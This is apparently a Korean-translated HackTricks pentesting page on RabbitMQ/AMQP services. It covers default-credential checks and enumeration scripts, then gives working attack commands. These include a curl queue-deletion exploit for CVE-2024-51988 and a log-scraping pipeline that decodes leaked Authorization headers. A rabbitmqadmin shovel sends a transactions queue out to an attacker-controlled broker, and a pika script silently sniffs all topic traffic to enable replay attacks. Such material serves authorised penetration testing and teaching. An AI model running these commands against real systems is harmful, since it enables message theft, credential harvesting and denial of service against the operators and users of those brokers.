5671,5672 - Pentesting AMQP

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

From cloudamqp:

RabbitMQ๋Š” ๋ฉ”์‹œ์ง€ ๋ธŒ๋กœ์ปค ๋˜๋Š” _ํ ๋งค๋‹ˆ์ €_๋กœ๋„ ์•Œ๋ ค์ง„ ๋ฉ”์‹œ์ง€ ํ์ž‰ ์†Œํ”„ํŠธ์›จ์–ด์ž…๋‹ˆ๋‹ค. ๊ฐ„๋‹จํžˆ ๋งํ•ด; ํ๊ฐ€ ์ •์˜๋˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด๋กœ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๋“ค์ด ๋ฉ”์‹œ์ง€๋‚˜ ๋ฉ”์‹œ์ง€๋“ค์„ ์ „์†กํ•˜๊ธฐ ์œ„ํ•ด ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.
๋ฉ”์‹œ์ง€๋Š” ์–ด๋–ค ์ข…๋ฅ˜์˜ ์ •๋ณด๋“  ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์‹ฌ์ง€์–ด ๋‹ค๋ฅธ ์„œ๋ฒ„์— ์žˆ์„ ์ˆ˜๋„ ์žˆ์Œ)์—์„œ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๋Š” ํ”„๋กœ์„ธ์Šค๋‚˜ ์ž‘์—…์— ๊ด€ํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๊ณ , ๋‹จ์ˆœํ•œ ํ…์ŠคํŠธ ๋ฉ”์‹œ์ง€์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ํ ๋งค๋‹ˆ์ € ์†Œํ”„ํŠธ์›จ์–ด๋Š” ์ˆ˜์‹  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์—ฐ๊ฒฐ๋˜์–ด ํ์—์„œ ๋ฉ”์‹œ์ง€๋ฅผ ๊ฐ€์ ธ๊ฐˆ ๋•Œ๊นŒ์ง€ ๋ฉ”์‹œ์ง€๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ˆ˜์‹  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๊ทธ ๋ฉ”์‹œ์ง€๋ฅผ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
์ •์˜ ์ถœ์ฒ˜.

๊ธฐ๋ณธ ํฌํŠธ: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • ๊ธฐ๋ณธ ์ž๊ฒฉ์ฆ๋ช…: guest:guest. RabbitMQ๋Š” loopback_users๋ฅผ ํ†ตํ•ด ์ด๋ฅผ localhost๋กœ ์ œํ•œํ•˜์ง€๋งŒ, ๋งŽ์€ Docker/IoT ์ด๋ฏธ์ง€๊ฐ€ ํ•ด๋‹น ๊ฒ€์‚ฌ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฏ€๋กœ ์ฐจ๋‹จ๋œ ๊ฒƒ์œผ๋กœ ๊ฐ€์ •ํ•˜๊ธฐ ์ „์— ํ•ญ์ƒ ์›๊ฒฉ ๋กœ๊ทธ์ธ์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.
  • ์ธ์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜: PLAIN๊ณผ AMQPLAIN์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ณ , ANONYMOUS๋Š” anonymous_login_user/anonymous_login_pass์— ๋งคํ•‘๋˜๋ฉฐ, EXTERNAL (x509)์€ TLS๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ธŒ๋กœ์ปค๊ฐ€ ๊ด‘๊ณ ํ•˜๋Š” ๊ฒƒ์„ ์—ด๊ฑฐํ•˜์—ฌ ์ดํ›„์— password spraying ๋˜๋Š” certificate impersonation์„ ์‹œ๋„ํ• ์ง€ ํŒ๋‹จํ•˜์„ธ์š”.

์—ด๊ฑฐ

์ˆ˜๋™

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

์ธ์ฆ์ด ์™„๋ฃŒ๋˜๋ฉด conn.server_properties, conn.channel_max, conn.frame_max์„ dumpํ•˜์—ฌ throughput limits์™€ oversized frames๋กœ ๋ฆฌ์†Œ์Šค๋ฅผ ์†Œ์ง„ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

Automatic

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL ๊ฒ€์‚ฌ

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

์ด ๋ช…๋ น์€ ์ธ์ฆ์„œ ์ฒด์ธ, ์ง€์›๋˜๋Š” TLS ๋ฒ„์ „ ๋ฐ mutual TLS ํ•„์š” ์—ฌ๋ถ€๋ฅผ leaksํ•ฉ๋‹ˆ๋‹ค.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

ํ˜ธ์ŠคํŠธ์—์„œ low-priv shell ์ ‘๊ทผ์„ ์–ป์€ ํ›„ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

  • Spot ANONYMOUS logins: ๋ธŒ๋กœ์ปค๊ฐ€ ANONYMOUS SASL ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ—ˆ์šฉํ•˜๋ฉด, ๋นˆ username/password๋กœ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”; RabbitMQ๋Š” ๋‚ด๋ถ€์ ์œผ๋กœ ๋‹น์‹ ์„ anonymous_login_user (๊ธฐ๋ณธ๊ฐ’ guest)๋กœ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค.

Brute Force

Exploitation Tips

Queue ์‚ญ์ œ (configure ๊ถŒํ•œ ์—†์Œ) (CVE-2024-51988)

RabbitMQ โ‰ค 3.12.10 (๋ฐ ํŒจ์น˜๋˜์ง€ ์•Š์€ Tanzu ๋นŒ๋“œ)๋Š” HTTP API๋ฅผ ํ†ตํ•ด ํ๋ฅผ ์‚ญ์ œํ•  ๋•Œ configure ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์ƒ vhost์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋Š” read ๋˜๋Š” write ๊ถŒํ•œ๋งŒ ์žˆ์–ด๋„ ์ž„์˜์˜ ํ๋ฅผ nuke(์ œ๊ฑฐ)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combine this with rabbitmqadmin list permissions to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check 15672 pentesting for more HTTP API endpoints to chain with this bug.

RabbitMQ ๋กœ๊ทธ์—์„œ ์ž๊ฒฉ์ฆ๋ช… ์ˆ˜์ง‘ (CVE-2025-50200)

4.0.8/4.1.0 ์ด์ „ ๋ฒ„์ „์—์„œ๋Š” management API์— HTTP basic auth๋กœ ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋ฉด ๋ธŒ๋กœ์ปค๊ฐ€ ์ „์ฒด Authorization ํ—ค๋”(base64)๋ฅผ ๋กœ๊ทธ์— ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค. ์ œํ•œ๋œ ํŒŒ์ผ์‹œ์Šคํ…œ ์ ‘๊ทผ(์˜ˆ: Docker escape, plugin RCE)์„ ํ™•๋ณดํ•œ ๊ฒฝ์šฐ /var/log/rabbitmq/rabbit@*.log์—์„œ Authorization:์„ ๊ฒ€์ƒ‰ํ•˜์—ฌ ๋‹ค๋ฅธ ํ…Œ๋„ŒํŠธ ๋˜๋Š” ์„œ๋น„์Šค ๊ณ„์ •์˜ ์ž๊ฒฉ์ฆ๋ช…์„ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

์ด๊ฒƒ์„ ์˜๋„์ ์œผ๋กœ ์ž˜๋ชป๋œ ์—”๋“œํฌ์ธํŠธ๋กœ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ ๋กœ๊ทธ์— ์ƒˆ๋กœ์šด ๋น„๋ฐ€์„ ์‹ฌ๊ณ , ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋””์ฝ”๋”ฉ๋œ ์ธ์ฆ์ •๋ณด๋ฅผ AMQP, STOMP, MQTT ๋˜๋Š” OS ์ž์ฒด๋ฅผ ํ†ตํ•ด ์žฌ์‚ฌ์šฉํ•ด ํ”ผ๋ฒ—ํ•˜์„ธ์š”.

rabbitmqadmin-ng ๋ฌด๊ธฐํ™”

rabbitmqadmin v2 (aka rabbitmqadmin-ng)์€ ๊ด€๋ฆฌ API์™€ ํ†ต์‹ ํ•˜๋Š” ๋…๋ฆฝ ์‹คํ–‰ํ˜• CLI์ด๋ฉฐ, ํ˜„์žฌ Linux/macOS/Windows์šฉ ์ •์  ๋งํฌ๋œ(statically linked) ๋นŒ๋“œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. bounce box์— ์˜ฌ๋ ค ์Šคํฌ๋ฆฝํŠธ๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

ํ•ด๋‹น ๋„๊ตฌ๋Š” blue/green ์ธ์‹ ํ—ฌ์Šค ์ฒดํฌ๋ฅผ ์ง€์›ํ•˜๋ฏ€๋กœ, rabbitmqadmin health_check port_listener --port 5672๋ฅผ ์˜ค์šฉํ•ด TLS ๋ฆฌ์Šค๋„ˆ๊ฐ€ ๋…ธ์ถœ๋˜์—ˆ๋Š”์ง€ ์›๊ฒฉ์œผ๋กœ ํ™•์ธํ•˜๊ฑฐ๋‚˜ ํƒ€์ด๋ฐ ํ”„๋กœ๋ธŒ๋ฅผ ์œ„ํ•ด ์„œ๋น„์Šค๋ฅผ ๋ฐ”์˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Message hijacking/sniffing

ํ—ˆ์šฉ์ ์ธ ์ •์ฑ…(.* bindings, topic exchanges, ๋˜๋Š” x-queue-master-locator = min-masters)์„ ๋ฐœ๊ฒฌํ•˜๋ฉด, ๋ฉ”์‹œ์ง€๋ฅผ ์‚ญ์ œํ•˜์ง€ ์•Š๊ณ  ์กฐ์šฉํžˆ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

๋ฏผ๊ฐํ•œ ํ๋ฆ„์— ์ง‘์ค‘ํ•˜๋ ค๋ฉด ๋ผ์šฐํŒ… ํ‚ค๋ฅผ audit.# ๋˜๋Š” payments.*๋กœ ๊ต์ฒดํ•œ ๋‹ค์Œ, basic_publish ์ธ์ˆ˜๋ฅผ ๋’ค์ง‘์–ด ์œ„์กฐ๋œ ๋ฉ”์‹œ์ง€๋ฅผ ์žฌ๊ฒŒ์‹œํ•˜์„ธ์š” โ€” ๋‹ค์šด์ŠคํŠธ๋ฆผ ๋งˆ์ดํฌ๋กœ์„œ๋น„์Šค์— ๋Œ€ํ•œ replay attacks์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

๊ธฐํƒ€ RabbitMQ ํฌํŠธ

In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:

  • 1883, 8883: (MQTT clients without and with TLS, if the MQTT plugin is enabled. Learn more about how to pentest MQTT here.
  • 4369: epmd, a peer discovery service used by RabbitMQ nodes and CLI tools. Learn more about how to pentest this service here.
  • 5672, 5671: used by AMQP 0-9-1 and 1.0 clients without and with TLS
  • 15672: HTTP API clients, management UI and rabbitmqadmin (only if the management plugin is enabled). Learn more about how to pentest this service here.
  • 15674: STOMP-over-WebSockets clients (only if the Web STOMP plugin is enabled)
  • 15675: MQTT-over-WebSockets clients (only if the Web MQTT plugin is enabled)
  • 15692: Prometheus metrics (only if the Prometheus plugin is enabled)
  • 25672: used for inter-node and CLI tools communication (Erlang distribution server port) and is allocated from a dynamic range (limited to a single port by default, computed as AMQP port + 20000). Unless external connections on these ports are really necessary (e.g. the cluster uses federation or CLI tools are used on machines outside the subnet), these ports should not be publicly exposed. See networking guide for details. ์ด ํฌํŠธ๋“ค ์ค‘ ์ธํ„ฐ๋„ท์— ์—ด๋ฆฐ ๊ฒƒ์€ 9๊ฐœ๋ฟ์ž…๋‹ˆ๋‹ค.
  • 35672-35682: used by CLI tools (Erlang distribution client ports) for communication with nodes and is allocated from a dynamic range (computed as server distribution port + 10000 through server distribution port + 10010). See networking guide for details.
  • 61613, 61614: STOMP clients without and with TLS (only if the STOMP plugin is enabled). Less than 10 devices with this port open and mostly UDP for DHT nodes.

See also

4222 Pentesting Nats

Shodan

  • AMQP

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ